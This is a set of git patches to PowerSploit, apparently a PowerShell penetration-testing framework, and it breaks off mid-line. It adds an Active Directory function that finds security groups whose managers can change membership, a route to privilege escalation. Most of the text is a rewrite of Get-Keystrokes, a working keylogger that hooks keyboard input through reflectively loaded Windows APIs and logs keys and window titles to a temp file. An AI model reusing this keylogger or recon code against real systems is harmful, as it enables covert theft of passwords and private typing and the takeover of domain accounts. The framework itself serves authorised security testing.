ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = @( 'Get-ComputerDetails', @@ -125,29 +89,8 @@ FunctionsToExport = @( 'Invoke-MapDomainTrust' ) -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) - # List of all files packaged with this module FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } diff --git a/ScriptModification/ScriptModification.psd1 b/ScriptModification/ScriptModification.psd1 index d326c12c..923c8749 100644 --- a/ScriptModification/ScriptModification.psd1 +++ b/ScriptModification/ScriptModification.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'ScriptModification.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610' @@ -12,9 +12,6 @@ GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610' # Author of this module Author = 'Matthew Graeber' -# Company or vendor of this module -CompanyName = '' - # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,65 +21,11 @@ Description = 'PowerSploit Script Preparation/Modification Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}) - # List of all files packaged with this module FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1', 'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md' -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - } From 841150e1c69109442ee87e260ef69746fc38b349 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Mon, 28 Dec 2015 17:54:47 +0000 Subject: [PATCH 079/296] Added Find-ManagedSecurityGroups --- Recon/PowerView.ps1 | 71 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 71 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 57a5789e..c38943d7 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -11101,6 +11101,77 @@ function Find-ForeignGroup { } } +function Find-ManagedSecurityGroups { +<# + .SYNOPSIS + + This function retrieves all security groups in the domain and identifies ones that + have a manager set. It also determines whether the manager has the ability to add + or remove members from the group. + + Author: Stuart Morgan (@ukstufus) + License: BSD 3-Clause + + .EXAMPLE + + PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv + + Store a list of all security groups with managers in group-managers.csv + + .DESCRIPTION + + Authority to manipulate the group membership of AD security groups and distribution groups + can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically + used to delegate management authority to distribution groups, but Windows supports security groups + being managed in the same way. + + This function searches for AD groups which have a group manager set, and determines whether that + user can manipulate group membership. This could be a useful method of horizontal privilege + escalation, especially if the manager can manipulate the membership of a privileged group. + + .LINK + + https://github.com/PowerShellEmpire/Empire/pull/119 + +#> + + # Go through the list of security groups on the domain and identify those who have a manager + Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object { + + # Retrieve the object that the managedBy DN refers to + $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname + + # Create a results object to store our findings + $results_object = New-Object -TypeName PSObject -Property @{ + 'GroupCN' = $_.cn + 'GroupDN' = $_.distinguishedname + 'ManagerCN' = $group_manager.cn + 'ManagerDN' = $group_manager.distinguishedName + 'ManagerSAN' = $group_manager.samaccountname + 'ManagerType' = '' + 'CanManagerWrite' = $FALSE + } + + # Determine whether the manager is a user or a group + if ($group_manager.samaccounttype -eq 0x10000000) { + $results_object.ManagerType = 'Group' + } elseif ($group_manager.samaccounttype -eq 0x30000000) { + $results_object.ManagerType = 'User' + } + + # Find the ACLs that relate to the ability to write to the group + $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers + + # Double-check that the manager + if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) { + $results_object.CanManagerWrite = $TRUE + } + + $results_object + + } + +} function Invoke-MapDomainTrust { <# From 2343f43e7cb15efe18e0f66631f5ff43895c7435 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 29 Dec 2015 13:37:40 +0000 Subject: [PATCH 080/296] Added reference to function to powersploit.psd1 and recon.psd1 --- PowerSploit.psd1 | 1 + Recon/Recon.psd1 | 1 + 2 files changed, 2 insertions(+) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index bc482e19..492b8465 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -38,6 +38,7 @@ FunctionsToExport = @( 'Find-GPOLocation', 'Find-InterestingFile', 'Find-LocalAdminAccess', + 'Find-ManagedSecurityGroups', 'Find-PathHijack', 'Find-UserField', 'Get-ADObject', diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 55f19f73..205cae8b 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -74,6 +74,7 @@ FunctionsToExport = @( 'Get-CachedRDPConnection', 'Get-NetProcess', 'Find-InterestingFile', + 'Find-ManagedSecurityGroups', 'Invoke-UserHunter', 'Invoke-ProcessHunter', 'Invoke-EventHunter', From f645f6160715274510af3cfe87b64b1764b66352 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 29 Dec 2015 14:04:03 +0000 Subject: [PATCH 081/296] Sorted the recon.psd1 module import into alphabetical order --- Recon/Recon.psd1 | 102 +++++++++++++++++++++++------------------------ 1 file changed, 51 insertions(+), 51 deletions(-) diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 205cae8b..e82cd975 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -23,71 +23,71 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( - 'Get-ComputerDetails', - 'Get-HttpStatus', - 'Invoke-Portscan', - 'Invoke-ReverseDnsLookup', - 'Set-MacAttribute', - 'Copy-ClonedFile', + 'Add-NetUser', + 'Add-ObjectAcl', + 'Convert-NT4toCanonical', 'Convert-NameToSid', 'Convert-SidToName', - 'Convert-NT4toCanonical', - 'Get-Proxy', - 'Get-PathAcl', - 'Get-NetDomain', - 'Get-NetForest', - 'Get-NetForestDomain', - 'Get-NetForestCatalog', - 'Get-NetDomainController', - 'Get-NetUser', - 'Add-NetUser', - 'Get-UserProperty', + 'Copy-ClonedFile', + 'Find-ComputerField', + 'Find-ForeignGroup', + 'Find-ForeignUser', + 'Find-GPOComputerAdmin', + 'Find-GPOLocation', + 'Find-InterestingFile', + 'Find-LocalAdminAccess', + 'Find-ManagedSecurityGroups', 'Find-UserField', - 'Get-UserEvent', - 'Get-ObjectAcl', - 'Add-ObjectAcl', - 'Invoke-ACLScanner', - 'Get-NetComputer', 'Get-ADObject', - 'Set-ADObject', + 'Get-CachedRDPConnection', + 'Get-ComputerDetails', 'Get-ComputerProperty', - 'Find-ComputerField', - 'Get-NetOU', - 'Get-NetSite', - 'Get-NetSubnet', - 'Get-NetGroup', - 'Get-NetGroupMember', - 'Get-NetFileServer', 'Get-DFSshare', + 'Get-DomainPolicy', + 'Get-ExploitableSystem', + 'Get-HttpStatus', + 'Get-LastLoggedOn', + 'Get-NetComputer', + 'Get-NetDomain', + 'Get-NetDomainController', + 'Get-NetDomainTrust', + 'Get-NetFileServer', + 'Get-NetForest', + 'Get-NetForestCatalog', + 'Get-NetForestDomain', + 'Get-NetForestTrust', 'Get-NetGPO', 'Get-NetGPOGroup', - 'Find-GPOLocation', - 'Find-GPOComputerAdmin', - 'Get-DomainPolicy', + 'Get-NetGroup', + 'Get-NetGroupMember', 'Get-NetLocalGroup', - 'Get-NetShare', 'Get-NetLoggedon', - 'Get-NetSession', + 'Get-NetOU', + 'Get-NetProcess', 'Get-NetRDPSession', + 'Get-NetSession', + 'Get-NetShare', + 'Get-NetSite', + 'Get-NetSubnet', + 'Get-NetUser', + 'Get-ObjectAcl', + 'Get-PathAcl', + 'Get-Proxy', + 'Get-UserEvent', + 'Get-UserProperty', + 'Invoke-ACLScanner', 'Invoke-CheckLocalAdminAccess', - 'Get-LastLoggedOn', - 'Get-CachedRDPConnection', - 'Get-NetProcess', - 'Find-InterestingFile', - 'Find-ManagedSecurityGroups', - 'Invoke-UserHunter', - 'Invoke-ProcessHunter', + 'Invoke-EnumerateLocalAdmin', 'Invoke-EventHunter', - 'Invoke-ShareFinder', 'Invoke-FileFinder', - 'Find-LocalAdminAccess', - 'Get-ExploitableSystem', - 'Invoke-EnumerateLocalAdmin', - 'Get-NetDomainTrust', - 'Get-NetForestTrust', - 'Find-ForeignUser', - 'Find-ForeignGroup', - 'Invoke-MapDomainTrust' + 'Invoke-MapDomainTrust', + 'Invoke-Portscan', + 'Invoke-ProcessHunter', + 'Invoke-ReverseDnsLookup', + 'Invoke-ShareFinder', + 'Invoke-UserHunter', + 'Set-ADObject', + 'Set-MacAttribute' ) # List of all files packaged with this module From ed60b51f0ab30c94d0592caea224476cf8c175d1 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 29 Dec 2015 14:06:06 +0000 Subject: [PATCH 082/296] Sorted exports into alphabetical order --- Privesc/Privesc.psd1 | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 34ebf7bf..2ccdb8e4 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -23,26 +23,26 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( - 'Get-ServiceUnquoted', - 'Get-ServiceFilePermission', - 'Get-ServicePermission', - 'Get-ServiceDetail', - 'Invoke-ServiceAbuse', - 'Write-ServiceBinary', - 'Install-ServiceBinary', - 'Restore-ServiceBinary', 'Find-DLLHijack', 'Find-PathHijack', - 'Write-HijackDll', + 'Get-ApplicationHost', 'Get-RegAlwaysInstallElevated', 'Get-RegAutoLogon', + 'Get-ServiceDetail', + 'Get-ServiceFilePermission', + 'Get-ServicePermission', + 'Get-ServiceUnquoted', + 'Get-UnattendedInstallFile', 'Get-VulnAutoRun', 'Get-VulnSchTask', - 'Get-UnattendedInstallFile', 'Get-Webconfig', - 'Get-ApplicationHost', - 'Write-UserAddMSI', - 'Invoke-AllChecks' + 'Install-ServiceBinary', + 'Invoke-AllChecks', + 'Invoke-ServiceAbuse', + 'Restore-ServiceBinary', + 'Write-HijackDll', + 'Write-ServiceBinary', + 'Write-UserAddMSI' ) # List of all files packaged with this module From bc7efdf22914c722d88eb70fac01a4dc5493c87b Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 29 Dec 2015 14:08:28 +0000 Subject: [PATCH 083/296] Added Find-ManagedSecurityGroups to readme --- Recon/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Recon/README.md b/Recon/README.md index d992798d..6e28a302 100644 --- a/Recon/README.md +++ b/Recon/README.md @@ -120,6 +120,8 @@ an array of hosts from the pipeline. Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to + Find-ManagedSecurityGroups - searches for active directory security groups which are managed and identify users who have write access to + - those groups (i.e. the ability to add or remove members) Find-UserField - searches a user field for a particular term Find-ComputerField - searches a computer field for a particular term Get-ExploitableSystem - finds systems likely vulnerable to common exploits From f66e219bd633bfcab96b5f34bfcaf86d3984faaf Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Sat, 9 Jan 2016 17:50:58 -0600 Subject: [PATCH 084/296] new Get-Keystrokes --- Exfiltration/Get-Keystrokes.ps1 | 525 +++++++++++++++++++------------- Tests/Exfiltration.tests.ps1 | 55 ++++ 2 files changed, 373 insertions(+), 207 deletions(-) create mode 100644 Tests/Exfiltration.tests.ps1 diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d0405895..d78f9c2a 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -1,11 +1,12 @@ function Get-Keystrokes { <# .SYNOPSIS - + Logs keys pressed, time and the active window. PowerSploit Function: Get-Keystrokes - Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Revised By: Jesse Davis (@secabstraction) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None @@ -14,248 +15,358 @@ function Get-Keystrokes { Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log. -.PARAMETER CollectionInterval +.PARAMETER Timeout Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. -.PARAMETER PollingInterval - - Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds. - .EXAMPLE Get-Keystrokes -LogPath C:\key.log .EXAMPLE - Get-Keystrokes -CollectionInterval 20 - -.EXAMPLE - - Get-Keystrokes -PollingInterval 35 - + Get-Keystrokes -Timeout 20 + .LINK http://www.obscuresec.com/ http://www.exploit-monday.com/ + https://github.com/secabstraction #> - [CmdletBinding()] Param ( + [CmdletBinding()] + Param ( [Parameter(Position = 0)] [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] - [String] - $LogPath = "$($Env:TEMP)\key.log", + [String]$LogPath = "$($Env:TEMP)\key.log", [Parameter(Position = 1)] - [UInt32] - $CollectionInterval, + [Double]$Timeout, - [Parameter(Position = 2)] - [Int32] - $PollingInterval = 40 + [Parameter()] + [Switch]$Return ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) - Write-Verbose "Logging keystrokes to $LogPath" + $Script = { + Param ( + [Parameter(Position = 0)] + [String]$LogPath, + + [Parameter(Position = 1)] + [Double]$Timeout + ) + + function local:Get-DelegateType { + Param ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + $TypeBuilder.CreateType() + } + function local:Get-ProcAddress { + Param ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + #region Imports + + [void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') + + # SetWindowsHookEx + $SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA + $SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr]) + $SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate) + + # CallNextHookEx + $CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx + $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate) + + # UnhookWindowsHookEx + $UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx + $UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void]) + $UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate) + + # PeekMessage + $PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA + $PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void]) + $PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate) + + # GetAsyncKeyState + $GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState + $GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16]) + $GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate) + + # GetForegroundWindow + $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow + $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr]) + $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) + + # GetWindowText + $GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA + $GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void]) + $GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate) + + # GetModuleHandle + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + + #endregion Imports - $Initilizer = { - $LogPath = 'REPLACEME' + '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode - '"WindowTitle","TypedKey","Time"' | Out-File -FilePath $LogPath -Encoding unicode + $CallbackScript = { + Param ( + [Parameter()] + [Int32]$Code, - function KeyLog { - [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + [Parameter()] + [IntPtr]$wParam, - try - { - $ImportDll = [User32] - } - catch - { - $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) - $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') - - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $FieldArray = [Reflection.FieldInfo[]] @( - [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), - [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), - [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), - [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), - [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), - [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') - ) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) - $FieldValueArray = [Object[]] @( - 'GetAsyncKeyState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) - $FieldValueArray = [Object[]] @( - 'GetKeyboardState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) - $FieldValueArray = [Object[]] @( - 'MapVirtualKey', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], - [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) - $FieldValueArray = [Object[]] @( - 'ToUnicode', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) - $FieldValueArray = [Object[]] @( - 'GetForegroundWindow', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $ImportDll = $TypeBuilder.CreateType() - } + [Parameter()] + [IntPtr]$lParam + ) + + $Keys = [Windows.Forms.Keys] + + $MsgType = $wParam.ToInt32() + + # Process WM_KEYDOWN & WM_SYSKEYDOWN messages + if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) { + + $hWindow = $GetForegroundWindow.Invoke() + + $ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey) + if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true } + else { $Shift = $false } + + $Caps = [Console]::CapsLock - Start-Sleep -Milliseconds $PollingInterval - - try - { - - #loop through typeable characters to see which is pressed - for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) - { - $VirtualKey = $TypeableChar - $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) - - #if the key is pressed - if (($KeyResult -band 0x8000) -eq 0x8000) - { - - #check for keys not mapped by virtual keyboard - $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 - $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 - $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 - $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 - $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 - $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 - $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 - $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 - $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 - $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 - $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 - $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 - $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 - $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 - $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 - $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 - $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 - - if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} - if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'} - if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'} - if ($TabKey) {$LogOutput += '[Tab]'} - if ($SpaceBar) {$LogOutput += '[SpaceBar]'} - if ($DeleteKey) {$LogOutput += '[Delete]'} - if ($EnterKey) {$LogOutput += '[Enter]'} - if ($BackSpaceKey) {$LogOutput += '[Backspace]'} - if ($LeftArrow) {$LogOutput += '[Left Arrow]'} - if ($RightArrow) {$LogOutput += '[Right Arrow]'} - if ($UpArrow) {$LogOutput += '[Up Arrow]'} - if ($DownArrow) {$LogOutput += '[Down Arrow]'} - if ($LeftMouse) {$LogOutput += '[Left Mouse]'} - if ($RightMouse) {$LogOutput += '[Right Mouse]'} - - #check for capslock - if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} - - $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) - $KeyboardState = New-Object Byte[] 256 - $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) - - #create a stringbuilder object - $StringBuilder = New-Object -TypeName System.Text.StringBuilder; - $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) - - #convert typed characters - if ($UnicodeKey -gt 0) { - $TypedCharacter = $StringBuilder.ToString() - $LogOutput += 